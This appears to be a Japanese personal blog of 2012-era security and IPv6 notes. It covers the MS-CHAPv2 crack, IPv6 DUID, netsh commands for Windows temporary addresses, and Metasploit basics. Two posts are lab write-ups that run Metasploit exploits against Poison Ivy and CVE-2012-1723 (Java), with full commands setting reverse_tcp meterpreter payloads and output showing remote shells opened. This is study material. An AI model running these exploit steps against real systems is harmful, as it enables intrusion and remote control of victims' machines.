 Moxie Marlinspike と David Hulton が MS-CHAPv2を100%の確立でクラッキングを成功させた。MS-CHAPv2 は PPTP や WPA2 の企業向け認証でよく使われている。

Moxie's recommendations :
1- All users and providers of PPTP VPN solutions should immediately start migrating to a different VPN protocol. PPTP traffic should be considered unencrypted.
2- Enterprises who are depending on the mutual authentication properties of MS-CHAPv2 for connection to their WPA2 Radius servers should immediately start migrating to something else.
 Moxie の推奨は、
1. PPTP を使った VPN はすぐに他の VPN プロトコルに切り替える、PPTP の通信は暗号化されていないと考えるべき
2. WPA2 の Radius サーバへの通信で MS-CHAPv2 を使っている企業はすぐに他の方法へ移行すべき

Knowing that MS-CHAPv2 can now be cracked, what alternatives are you considering to secure your now insecure communications? The two alternatives suggested by Moxie are "[...] OpenVPN configuration, or IPSEC in certificate rather than PSK mode."
MS-CHAPv2 が破られてしまった現在、あなたはどんな代替手段を選びますか? Moxie は OpenVPN または IPSEC の証明書付きを提案している。

内容は上記のような感じになっていて、Cracking MS-CHAPv2 with a 100% success rate に本人たちの詳しい記事が載っている。


2012年8月1日水曜日

IPv6 DUID とは

DUID とは DHCP Unique Identifier の略で DHCP 固有識別子 となっている。

DHCPv6 で特定端末に対して固定アドレスを割り振るときなどに使用する。
IPv4 の DHCP では MAC アドレスで識別していたが、IPv6 では DUID を使用する。
(IPv6 では ARP がないため、MAC を識別する手段が無い)

DUID はwikiによれば下記の基準で設定される。
  • DUID-LLT - リンク層アドレス + 時刻 (LLT = Link-Layer-Time)
  • DUID-EN - インタフェースの製造者番号を元にしたベンダ固有の一意な ID (EN = Enterprise Number)
  • DUID-LL - リンク層アドレス (LL = Link Layer)
Windows だと ipconfig -all で確認可能。
DUID は端末に固定で割り振られているので、複数インターフェース(物理と無線など)があっても同じDUIDが表示される。変更するにはレジストリを設定しないといけない(実際にレジストリをいじった人のサイト)
なお、Windows での表示では"-"が使用されるが、ISC DHCP で記述する場合は":"になるので変換する必要がある。

2012年7月26日木曜日

Windows の匿名アドレスを無効にする

Windows で IPv6 を使用するときに一時アドレスが割り振られる。
検証などのときはアクセスもとのアドレスを固定したいため、下記のようにして一時アドレスの使用を停止させる。

まずは一時アドレスの状態を確認
c:\>netsh interface ipv6 show privacy
アクティブ状態を照会しています...

一時アドレス パラメーター
---------------------------------------------
一時アドレスの使用                   : enabled
重複アドレスの検出の試み             : 5
有効期間の最大値                     : 7d
優先する有効期間の最大値             : 1d
再生成時間                           : 5s
ランダム時間の最大値                 : 10m
ランダム時間                         : 0s
一時アドレスを disable にする
 c:\>netsh interface ipv6 set privacy state=disable
OK
設定を確認
 c:\>netsh interface ipv6 show privacy
アクティブ状態を照会しています...

一時アドレス パラメーター
---------------------------------------------
一時アドレスの使用                   : disabled
重複アドレスの検出の試み             : 5
有効期間の最大値                     : 7d
優先する有効期間の最大値             : 1d
再生成時間                           : 5s
ランダム時間の最大値                 : 10m
ランダム時間                         : 0s
disable になった。
ただし、実際にはインターフェースを再起動させないと一時アドレスが開放されないため下記のコマンドなどで再起動させる。
  c:\>netsh interface set interface name="ローカル エリア接続" disable


c:\>netsh interface set interface name="ローカル エリア接続" enable

これで一時アドレスを使用しなくなる。

2012年7月21日土曜日

2012年7月15日日曜日

Windows での IPv6 アドレスの確認方法

Windows での IPv6 アドレスの確認には ipconfig コマンドと netsh コマンドが利用可能

ipconfig コマンドだと以下のように表示





C:\>ipconfig
Windows IP 構成
イーサネット アダプター ローカル エリア接続:

   接続固有の DNS サフィックス . . . :
   IPv6 アドレス . . . . . . . . . . . : fd00:b::ffff:ffff:ffff:ffff
   一時 IPv6 アドレス. . . . . . . . . : fd00:b::81e0:c305:2153:6081
   リンクローカル IPv6 アドレス. . . . : fe80::ffff:ffff:ffff:ffff%13
   デフォルト ゲートウェイ . . . . . : fe80::2%13



netsh だと以下のように表示





C:\>netsh interface ipv6 show addresses

インターフェイス 1: Loopback Pseudo-Interface 1

アドレス種類  DAD 状態    有効期間   優先有効期間 アドレス
------------  ----------- ---------- ------------ ---------------------
その他        設定            infinite   infinite ::1

インターフェイス 13: ローカル エリア接続

アドレス種類  DAD 状態    有効期間   優先有効期間 アドレス
------------  ----------- ---------- ------------ ---------------------
Temporary  設定         6d22h33m24s 6d22h33m24s fd00:b::b497:2db4:fc4b:1228
Public     設定         29d23h57m29s 6d23h57m29s fd00:b::ffff:ffff:ffff:ffff
その他        設定            infinite   infinite fe80::ffff:ffff:ffff:ffff%13

インターフェイス 16: Teredo Tunneling Pseudo-Interface

アドレス種類  DAD 状態    有効期間   優先有効期間 アドレス
------------  ----------- ---------- ------------ ---------------------
その他        使用されていません     infinite   infinite fe80::100:7f:fffe%16


Poison Ivy 2.3.2 C&C Server Buffer Overflow

Poison Ivy の脆弱性に対する Exploit が出ていたので試してみる。

詳細は以下のとおり。
DEP が有効になっている環境では失敗すると注釈にあるので、 Exploit Rank が Nomal となっていると思われる。
http://www.exploit-db.com/exploits/19613/
http://www.metasploit.com/modules/exploit/windows/misc/poisonivy_bof

Poison Ivy は RAT の一種で、EMC が攻撃されたときに使われたツールとして有名
http://www.poisonivy-rat.com/

今回はターゲットとなる Windows マシンに Poison Ivy をインストールし、Poison Ivy の待ち受けポートを 80 番に設定。
ターゲットマシンの 80 番に Exploit を投げ込むように Metasploit を設定する。
msf >
msf > use exploit/windows/misc/poisonivy_bof
msf  exploit(poisonivy_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(poisonivy_bof) > set LHOST 10.0.0.10
LHOST => 10.0.0.10
msf  exploit(poisonivy_bof) > set RHOST 10.0.0.11
RHOST => 10.0.0.11
msf  exploit(poisonivy_bof) > set RPORT 80
RPORT => 80
msf  exploit(poisonivy_bof) > exploit

[*] Started reverse handler on 10.0.0.10:4444
[*] Performing handshake...
[*] Sending exploit...
[*] Sending stage (752128 bytes) to 10.0.0.11
[*] Meterpreter session 1 opened (10.0.0.10:4444 -> 10.0.0.11:1036) at 2012-07-15 21:54:24 +0900

meterpreter >
 成功。
Poison Ivy については開発がとまっているようなので、パッチがあたることはない。

検証で使うにしても、インターネットにさらして使う場合は注意しよう。

2012年7月12日木曜日

CVE-2012-1723

CVE-2012-1723 で公開された Java Applet の脆弱性をつく exploit が公開されたので検証

脆弱性の詳細については下記参照
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-1723
http://jvndb.jvn.jp/ja/contents/2012/JVNDB-2012-002752.html

Exploit の詳細については下記参照
http://www.exploit-db.com/exploits/19717/
http://www.metasploit.com/modules/exploit/multi/browser/java_verifier_field_access

Metasploit で実行
msf >
msf > use exploit/multi/browser/java_verifier_field_access
msf  exploit(java_verifier_field_access) >
msf  exploit(java_verifier_field_access) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf  exploit(java_verifier_field_access) >
msf  exploit(java_verifier_field_access) > set srvhost 1.0.0.80
srvhost => 1.0.0.80
msf  exploit(java_verifier_field_access) > set srvport 80
srvport => 80
msf  exploit(java_verifier_field_access) > set lhost 1.0.0.80
lhost => 1.0.0.80
msf  exploit(java_verifier_field_access) > set lport 8080
lport => 8080
msf  exploit(java_verifier_field_access) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 1.0.0.80:8080
[*] Using URL: http://1.0.0.80:80/IlDcdK6w4yfJ
[*] Server started.
msf  exploit(java_verifier_field_access) >
古いバージョンの Java を使用している Windows XP から
http://1.0.0.80:80/IlDcdK6w4yfJ
へアクセスしてみる
msf  exploit(java_verifier_field_access) >
[*] 192.168.0.100    java_verifier_field_access - Sending Java Applet Field Bytecode Verifier Cache Remote Code Execution
[*] 192.168.0.100    java_verifier_field_access - Generated jar to drop (5483 bytes).
[*] 192.168.0.100    java_verifier_field_access - Sending jar
[*] 192.168.0.100    java_verifier_field_access - Sending jar
[*] Sending stage (30216 bytes) to 192.168.0.100
[*] Meterpreter session 1 opened (1.0.0.80:8080 -> 192.168.0.100:1039) at 2012-07-12 20:31:59 +0900

msf  exploit(java_verifier_field_access) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
成功

Metasploit のアップデート

Metasploit の初期状態では最新の exploit を利用できないのでアップデートを行う
失敗することもあるので、何度かチャレンジ




root@bt:~# /opt/framework/msf3/msfupdate
[*]
[*] Attempting to update the Metasploit Framework...
[*]

A    scripts/resource/autoexploit.rc
U    scripts/meterpreter/hashdump.rb
U    scripts/meterpreter/getgui.rb
・・・以下略
 Updated to revision 15620.
root@bt:~# 

Metasploit の起動

BackTrack からは下記コマンドで起動
/opt/framework/msf3/msfconsole

Metasploit

「実践 Metaploit」を片手に使い方メモを残していきます。BT5 で msfconsole メインで使います。そのうち変わるかも。

wikipedia より
Metasploitは、オープンソースなコンピュータセキュリティに関するプロジェクトで、脆弱性、ペネトレーションテスト、侵入検知システム、シェルコードのアーカイブ、アンチフォレンジクス(コンピュータ・フォレンジクスによる解析への対抗技術)などを主な守備範囲としたプロジェクトの名称である。また、本プロジェクトのその成果ソフトウェアとしてよく知られるMetasploit Frameworkの省略名としてもしばしば用いられる 

2012年7月11日水曜日

netsh

Windows で IPv6 を操作するときにお世話になるコマンド
詳細はTechnetに記載されている





C:\>netsh interface ipv6 show ?

使用できるコマンドは次のとおりです:

このコンテキストのコマンド:
show addresses - 現在の IP アドレスを表示します。
show compartments - コンパートメント パラメーターを表示します。
show destinationcache - 宛先キャッシュ エントリを表示します。
show dnsservers - DNS サーバー アドレスを表示します。
show dynamicportrange - 動的ポート範囲の構成パラメーターを表示します。
show global    - グローバル構成パラメーターを表示します。
show interfaces - インターフェイス パラメーターを表示します。
show ipstats   - IP 統計情報を表示します。
show joins     - 参加したマルチキャスト グループを表示します。
show neighbors - 近隣キャッシュ エントリを表示します。
show offload   - offload 情報を表示します。
show potentialrouters - 利用可能なルーターを表示します。
show prefixpolicies - プレフィックス ポリシー エントリを表示します。
show privacy   - プライバシー構成パラメーターを表示します。
show route     - ルート テーブル エントリを表示します。
show siteprefixes - サイト プレフィックス テーブル エントリを表示します。
show subinterfaces - サブインターフェイス パラメーターを表示します。
show tcpstats  - TCP 統計情報を表示します。
show teredo    - Teredo 状態を表示します。
show udpstats  - UDP 統計情報を表示します。

はじめに

セキュリティや IPv6 のメモ書きです。